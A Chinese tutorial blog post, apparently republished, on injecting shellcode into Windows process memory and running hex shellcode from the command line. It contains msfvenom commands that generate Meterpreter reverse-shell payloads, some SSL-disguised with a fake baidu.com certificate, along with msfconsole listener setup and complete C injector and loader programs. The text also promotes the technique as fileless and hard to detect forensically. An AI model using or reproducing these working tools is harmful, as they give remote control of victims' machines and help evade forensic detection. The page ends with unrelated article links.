1.10 内存ShellCode注入与格式化

news2024/11/25 7:09:09

ShellCode 的格式化与注入功能在实战应用中也尤为重要,格式化Shellcode是指将其转换为可执行的二进制格式,使其能够在内存中运行。注入Shellcode是指将格式化的Shellcode注入到另一个进程的内存中,以便在该进程中执行,此类功能也可算作ShellCode技术的延申功能。

1.10.1 针对内存的ShellCode注入

内存注入ShellCode是一种将Shell注入到进程内存中的攻击方式,该注入方式的优势在于被发现的概率极低,甚至可以被忽略,这是因为ShellCode被注入到进程内存中时,其并没有与之对应的硬盘文件,从而难以在磁盘中取证,但也存在一个弊端由于内存是易失性存储器,所以系统必须一直开机,不能关闭,该攻击手法可以应用于服务器上面,安全风险最小,注入后即可将注入器删除并以此保证无文件加载。

首先在实现功能之前读者应该自行生成自定义ShellCode代码,至于如何生成在本章第一节中就已经介绍过了,此处只给出生成指令

生成非加密ShellCode攻击载荷

# --------------------------------------------------
# 生成ShellCode攻击载荷
# --------------------------------------------------
[lyshark@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.140.128 lport=9999 -f c

[lyshark@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.140.128 lport=9999 -f c

# --------------------------------------------------
# 服务端建立侦听器
# --------------------------------------------------
[lyshark@localhost ~]# msfconsole
msf6 exploit(handler) > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(handler) > set lhost 192.168.140.128
msf6 exploit(handler) > set lport 9999
msf6 exploit(handler) > set EXITFUNC thread
msf6 exploit(handler) > exploit -j -z

生成SSL加密ShellCode攻击载荷

# --------------------------------------------------
# 生成ShellCode攻击载荷
# --------------------------------------------------
[lyshark@localhost ~]# openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
> -subj "/C=UK/ST=London/L=London/O=Development/CN=www.baidu.com" \
> -keyout www.baidu.com.key -out www.baidu.com.crt

[lyshark@localhost ~]# cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem
[lyshark@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_https \
> lhost=192.168.140.128 lport=8443 PayloadUUIDTracking=true PayloadUUIDName=MyShell \
> HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true \
> -f c -o /root/shell.c

# --------------------------------------------------
# 服务端建立侦听器
# --------------------------------------------------
[lyshark@localhost ~]# msfconsole
msf6 exploit(handler) > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_https
msf6 exploit(handler) > set LHOST 192.168.140.128
msf6 exploit(handler) > set LPORT 8443
msf6 exploit(handler) > set HandlerSSLCert /root/www.baidu.com.pem
msf6 exploit(handler) > set StagerVerifySSLCert true
msf6 exploit(handler) > exploit -j -z

接着我们来实现注入功能,首先我们通过CreateToolhelp32Snapshot()拍摄一个进程快照并通过比较找到所需注入进程,找到后通过OpenProcess()打开进程,然后调用VirtualAllocEx()函数在对端内存中分配空间,并通过WriteProcessMemory()ShellCode写入到对端,最后通过CreateRemoteThread()开启远程线程执行ShellCode代码。

其核心原理总结起来如下所示:

  • 1.获取目标进程的PID,这里使用了ToolHelp32获取系统中正在运行的进程列表,并遍历列表查找指定名称的进程。
  • 2.打开目标进程。使用OpenProcess打开目标进程,获取进程的句柄。
  • 3.在目标进程中分配内存。使用VirtualAllocEx在目标进程中分配一段内存,用于存储ShellCode的代码。
  • 4.将ShellCode的代码写入目标进程的内存中。使用WriteProcessMemoryShellCode的代码写入目标进程的内存中。
  • 5.在目标进程中创建远程线程并执行ShellCode。使用CreateRemoteThread在目标进程中创建一个远程线程,并将其起始地址指向ShellCode在目标进程中的内存地址,从而执行 ShellCode的代码。
  • 6.等待远程线程执行完毕。使用WaitForSingleObject等待远程线程执行完毕。
  • 7.清理资源。关闭句柄,释放内存等。

根据上述原理解析,读者很容易就可以写出如下所示的代码片段,读者只需要将自定义ShellCode填充之变量内,并输入进程PID即可实现对特定进程的注入功能;

#include <Windows.h>
#include <stdio.h>

// 定义ShellCode
unsigned char ShellCode[] =
"\xba\x1a\x77\xba\x2b\xd9\xee\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x59\x31\x56\x14\x03\x56\x14\x83\xee\xfc\xf8\x82\x46"
"\xc3\x73\x6c\xb7\x14\xeb\xe4\x52\x25\x39\x92\x17\x14\x8d"
"\xd0\x7a\x95\x66\xb4\x6e\x94\x87\x36\x38\x9c\x51\xc2\x34"
"\x09\xac\x14\x14\x75\xaf\xe8\x67\xaa\x0f\xd0\xa7\xbf\x4e"
"\xdb\xac\xa6";

int main(int argc, char *argv[])
{
    HANDLE Handle = NULL;
    HANDLE remoteThread = NULL;
    PVOID remoteBuffer = NULL;
    DWORD Pid = 0;

    printf("请输入待注入进程PID号:");
    scanf("%d", &Pid);

    // 打开目标进程句柄
    Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
    if (Handle == NULL)
    {
        printf("打开进程失败\n");
        return 1;
    }

    // 在目标进程中分配内存
    remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (remoteBuffer == NULL)
    {
        printf("分配内存失败\n");
        CloseHandle(Handle);
        return 1;
    }

    // 在目标进程中写入ShellCode
    if (!WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL))
    {
        printf("写入内存失败\n");
        VirtualFreeEx(Handle, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(Handle);
        return 1;
    }

    // 在目标进程中创建远程线程
    remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    if (remoteThread == NULL)
    {
        printf("创建线程失败\n");
        VirtualFreeEx(Handle, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(Handle);
        return 1;
    }

    // 等待远程线程执行完毕
    WaitForSingleObject(remoteThread, INFINITE);

    // 释放内存和关闭句柄
    VirtualFreeEx(Handle, remoteBuffer, 0, MEM_RELEASE);
    // CloseHandle(remoteThread);
    CloseHandle(Handle);

    printf("注入成功\n");
    return 0;
}

1.10.2 实现格式化与代码执行盒

在某些时候我们需要在外部传入特定的一段字符串以此实现反弹,而不是上述案例中提到的需要将ShellCode代码写死在程序中,这样即可增加灵活性,我们以本地代码执行为案例讲解一下代码执行盒是如何实现的。

代码执行盒的实现非常容易,如下代码中程序接收argv[1]传递变量,并将该变量通过sscanf格式化为字节类型,如果不格式化那么在读入内存后默认会以WORD模式存在,此时则会占用两个字节而导致ShellCode失效,为了能让功能有效,则必须进行转换,如下代码则是执行盒的完整实现;

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    unsigned int char_in_hex;

    char *shellcode = argv[1];
    unsigned int iterations = strlen(shellcode);

    unsigned int memory_allocation = strlen(shellcode) / 2;

    for (unsigned int i = 0; i< iterations - 1; i++)
    {
        sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
        shellcode[i] = (char)char_in_hex;
    }

    void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
    memcpy(exec, shellcode, memory_allocation);
    DWORD ignore;
    VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
    (*(void(*)()) exec)();

    return 0;
}

以下是核心代码的简单解释;

unsigned int memory_allocation = strlen(shellcode) / 2;

memory_allocation是一个无符号整数类型的变量,用于表示需要分配的内存大小。因为shellcode是16进制编码的,每两个字符表示一个字节,所以内存大小为shellcode长度的一半。

for (unsigned int i = 0; i< iterations - 1; i++)
{
    sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
    shellcode[i] = (char)char_in_hex;
}

for循环,用于将16进制编码的shellcode转换为可执行的代码。sscanf函数将shellcode中的16进制字符转换为整数,并存储在char_in_hex变量中。然后将char_in_hex强制转换为字符类型,并将其存储在shellcode中。

void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);

这是一个void类型的指针变量,用于指向分配的内存空间。VirtualAlloc函数分配一个指定大小的内存块,并返回一个指向该内存块的指针。参数MEM_COMMIT表示分配的内存将立即被提交,PAGE_READWRITE表示内存可读可写。

memcpy(exec, shellcode, memory_allocation);

shellcode复制到分配的内存空间中。

DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);

VirtualProtect函数修改内存页的保护属性,将内存页的执行属性设置为可执行。PAGE_EXECUTE表示内存可执行。

(*(void(*)()) exec)();

执行分配的内存空间中的代码。将exec指针强制转换为指向无参数、无返回值的函数指针,然后调用该函数指针。这样,shellcode中的代码就会被执行。

由于代码执行盒接收的是一个字符串,则我们还需要实现一个将ShellCode转换为字符串的功能,我们只需要将文本依次读入到内存,并以此过滤掉无用字节即可实现该功能;

void Compressed(const char* FileName)
{
    FILE* fp_read;
    char write_ch;
    if ((fp_read = fopen(FileName, "r")) != NULL)
    {
        while ((write_ch = fgetc(fp_read)) != EOF)
        {
            if (write_ch != L'\n' && write_ch != L'\"' && write_ch != L'\\' && write_ch != L'x' && write_ch != L';')
            {
                printf("%c", write_ch);
            }
        }
    }
    _fcloseall();
}

完整代码已经有了那么该如何使用呢,首先读者需要将ShellCode代码保存为文本文档,需要注意的是读者在保存文件时应保存为如下格式;

在这里插入图片描述

此时调用Compressed("d://shellcode.txt");并传入文本路径,则读者会看到如下输出,此时的ShellCode则被格式化为一行,如下图所示;

在这里插入图片描述

保存这段ShellCode代码,并运行代码执行盒,通过传入命令行传入参数,即可实现反弹,传入参数如下图所示;
在这里插入图片描述

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/c20d3ce0.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/953505.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【人工智能】—_逻辑Agent、一般逻辑、Entailment_蕴涵、命题逻辑、前向链接、反向链接、Resolution归结

文章目录 逻辑智能体Knowledge bases一个简单的基于知识的智能体 一般逻辑Entailment 蕴涵Models模型蕴涵与推理 命题逻辑逻辑连接词枚举推理有效性可满足性 推导和证明霍恩子句Forward chaining 前向链接Proof of completeness&#xff08;完备性&#xff09; Backward chaini…

ELK安装、部署、调试 (七)kibana的安装与配置

1.介绍 Kibana 是一个基于浏览器的开源可视化工具&#xff0c;主要用于分析大量日志&#xff0c;以折线图、条形图、饼图、热图、区域图、坐标图、仪表、目标、时间等形式。预测或查看输入源的错误或其他重大事件趋势的变化。Kibana 与 Elasticsearch 和 Logstash 同步工作&am…

java环境的安装 以及大学生认证免费激活IDEA

最近博主也是在学校开始学习了Java&#xff0c;也通过老师知道了可以通过大学生学生证申(bai)请(piao) IDEA的企业版&#xff08;社区版也是够学习用的&#xff09;有很多同学还是没有搞懂便做一下分享。 &#x1f331;博客主页&#xff1a;青竹雾色间. &#x1f618;博客制作…

发布的策略

简介 应用程序升级面临最大挑战是新旧业务切换&#xff0c;将软件从测试的最后阶段带到生产环境&#xff0c;同时要保证系统不间断提供服务。 长期以来&#xff0c;业务升级渐渐形成了几个发布策略&#xff1a;蓝绿发布、灰度发布和滚动发布&#xff0c;目的是尽可能避免因发…

java 八股文 基础 每天笔记随机刷

Component 和 PostConstruct 搭配使用 被Component注解标识的类在应用程序启动时会被实例化&#xff0c;并由Spring容器进行管理。PostConstruct是一个Java注解&#xff0c;用于标记一个方法在类被实例化后自动执行。该方法必须是非静态的&#xff0c;没有参数&#xff0c;且不…

android:控件TextView

一、系统学习Android控制键TextView&#xff0c;我的笔记里面有尝试学着使用自定义控件。 二、具体内容 1.如果在代码中给textView赋值&#xff0c;在xml中也给textView赋值了最后运行出来的结果显示代码中赋的值。因此得出结论&#xff0c;代码中的赋值会覆盖xml所附的值。 …

物联网闸道器开发整合嵌入式套件加速物联网创新

物联网闸道器开发整合套件&#xff0c;以可靠的物联网软体平台与开放式闸道器整合技术&#xff0c;协助加速物联网创新。整组套件包括软硬件整合的系统(Intel Celeron J1900平台与Windows 7 Embedded)、物联网软体平台服务(WISE-PaaS)、软体开发套件和技术支援服务以及Microsof…

OpenCV实战(30)——OpenCV与机器学习的碰撞

OpenCV实战&#xff08;30&#xff09;——OpenCV与机器学习的碰撞 0. 前言1. 机器学习简介2. 基于局部二值模式的最近邻人脸识别3. 图像表示与人脸识别4. 完整代码小结系列链接 0. 前言 随着人工智能的发展&#xff0c;许多机器学习算法开始用于解决机器视觉问题。机器学习是…

SoC 总线结构学习记录之系统存储总线(System Memory Bus)与私有设备总线

蜂鸟 E203 SOC总线结构&#xff1a;  蜂鸟 E203 内核 BIU 的系统存储接口 ICB 连接系统存储总线&#xff0c;通过其访问 SoC 中的若干存储组件&#xff0c;譬如 ROM&#xff0c;Flash 的只读区间等。  蜂鸟 E203 内核 BIU 的私有设备接口 ICB 连接私有设备总线&#xff0c…

Java 编程中的魔法之门:探索I/O流的奇妙世界

文章目录 什么是I/O流&#xff1f;I/O 流的层次结构1. 字节流&#xff08;Byte Streams&#xff09;2. 字符流&#xff08;Character Streams&#xff09;3. 缓冲流&#xff08;Buffered Streams&#xff09;4. 数据流&#xff08;Data Streams&#xff09;5. 对象流&#xff0…

STM32 FREERTOS osDelayUntil()异常

问题&#xff1a; 在使用osDelayUntil&#xff08;&#xff09;进行固定延时时发现不起作用&#xff0c;程序不能按照预期的延时进行执行&#xff08;比延时要快&#xff09;。 #define taskMBSysManage_Delay_TIME 1000 TickType_t xLastWakeTime; xLastWakeTime xTaskGe…

软考A计划-网络工程师-复习背熟-广域网和接入网技术和因特网

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列点击跳转>蓝桥系列 &#x1f449;关于作者 专注于Android/Unity和各种游…

高忆管理:庄家尾盘拉升的目的?

股市里的庄家是指一些出资者和基金司理&#xff0c;他们以高明的技巧和强大的实力操作股市。庄家尾盘拉升则是指在股市收盘前&#xff0c;庄家在商场进行一些操盘操作&#xff0c;然后推高股价。那么庄家尾盘拉升的目的是什么&#xff1f;在本文中&#xff0c;我们将从多个角度…

33、Flink之hive介绍与简单示例

Flink 系列文章 1、Flink 部署、概念介绍、source、transformation、sink使用示例、四大基石介绍和示例等系列综合文章链接 13、Flink 的table api与sql的基本概念、通用api介绍及入门示例 14、Flink 的table api与sql之数据类型: 内置数据类型以及它们的属性 15、Flink 的ta…

油耳的人适合戴哪种耳机,油耳戴什么耳机不会掉

长时间佩戴入耳式耳机导致油耳朵&#xff1f;甚至耳朵受伤。这似乎是一个不可避免的问题&#xff0c;但不同耳机对听力的伤害程度却不尽相同。然而&#xff0c;目前为止&#xff0c;骨传导耳机是唯一一种在相同音量下对听力损伤最低的选择。这种耳机通过骨骼传递声音&#xff0…

亮数据:以色列一家让人向往的互联网公司,很强

大家好&#xff0c;我是二哥呀&#xff01; 今天再给大家推荐一家小而美的互联网公司——亮数据&#xff0c;成立于 2014 年&#xff0c;总部设在以色列&#xff0c;全球目前约有 500 名员工&#xff0c;但却有超过 2000 个专利申报和计数。 我在他们的官网看到这样一段介绍&…

关于Echarts 绘制玫瑰图 (笔记)

目录 基于js文件绘图 基于vue3绘制玫瑰图 基于js文件绘图 // 定义一个配置对象 var option {// 图例设置legend: {top: bottom},// 工具栏设置toolbox: {show: true,feature: {mark: { show: true }, // 标记工具dataView: { show: true, readOnly: false }, // 数据视图工具r…

软件安全检测有哪些测试内容?怎么做

安全测试 信息安全检测是一个统称的概念&#xff0c;其概念的提出对于规范和明确信息安全日常工作具有重要作用。一般企业会委托第三方检测机构进行信息安全检测并且出具相关的软件安全检测报告。 信息安全检测依据是什么 根据国家标准、行业标准、地方标准或相关技术规范&a…

不会电脑分区?看这里,教你轻松学会!

随着计算机技术的不断发展&#xff0c;电脑分区成为管理和优化硬盘空间的重要手段之一。它是对硬盘进行逻辑划分的过程&#xff0c;通过将硬盘分成不同的区域&#xff0c;提高数据访问效率&#xff0c;同时保护系统和用户数据的安全性。本文将为您介绍两种常用的电脑分区方法&a…

螺线管线圈的用途是什么

螺线管线圈是一种电子元器件&#xff0c;通常用于电感器和变压器。螺线管线圈可以是单层的或多层的&#xff0c;并且可以根据特定的电气参数进行设计。它们被广泛应用于电子设备和通信系统中&#xff0c;以满足各种应用的要求。 螺线管线圈主要用于电感器和变压器。电感器是一种…